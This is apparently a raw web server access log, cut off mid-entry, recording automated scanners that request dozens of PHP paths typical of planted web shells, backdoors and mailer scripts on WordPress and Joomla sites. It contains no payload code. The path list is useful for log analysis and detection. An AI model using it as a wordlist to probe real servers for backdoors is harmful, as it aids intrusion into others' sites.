167.172.21.236 - - [23/Apr/2025:00:02:28 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:02:30 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:02:34 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:02:39 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:02:42 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:03 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:06 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:09 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:11 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:13 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:20 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:23 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:27 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:29 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:32 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:35 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:38 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:41 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:46 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:49 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:51 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:53 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:56 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:04:59 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:05:02 -0400] "GET /mailer1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:05:10 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:05:14 -0400] "GET /rxr.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:05:16 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:05:19 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:05:23 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:05:27 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:05:31 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:05:34 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:05:36 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:05:40 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:05:46 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:05:52 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:05:54 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:05:55 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:05:58 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:06:04 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:06:09 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:06:12 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:06:15 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:06:18 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:06:24 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:06:25 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:06:29 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:06:32 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:06:36 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:06:39 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:06:45 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:06:48 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:06:52 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:06:57 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:07:01 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:07:05 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:07:09 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:07:14 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:07:17 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:07:21 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:07:25 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:07:26 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:07:30 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:07:32 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:07:36 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:07:38 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:07:42 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:07:45 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:07:48 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:07:51 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:07:54 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:07:57 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:08:00 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:08:01 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:08:05 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:08:09 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 52.13.65.7 - - [23/Apr/2025:00:44:32 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 109.195.177.136 - - [23/Apr/2025:00:52:59 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 147.185.132.21 - - [23/Apr/2025:00:59:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 52.164.225.134 - - [23/Apr/2025:01:00:53 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:00:58 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:00:59 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:01 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:03 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:04 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:06 -0400] "GET /wp-includes/customize/class-wp-customize-sidebar-secure.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:07 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:09 -0400] "GET //wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:10 -0400] "GET /home/newsr.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:11 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:12 -0400] "GET //radio.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:14 -0400] "GET /wp-admin/css/colors/blue/blkaabkj.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:15 -0400] "GET //simple.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:17 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:19 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:20 -0400] "GET //webadmin.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:22 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:24 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:26 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:28 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:29 -0400] "GET /ern.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:30 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:32 -0400] "GET /wp-includes/rest-api/network.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:33 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:34 -0400] "GET //wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:35 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:36 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:37 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:38 -0400] "GET /wp-admin/css/colors/blue/blkhfvco.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:38 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:40 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:41 -0400] 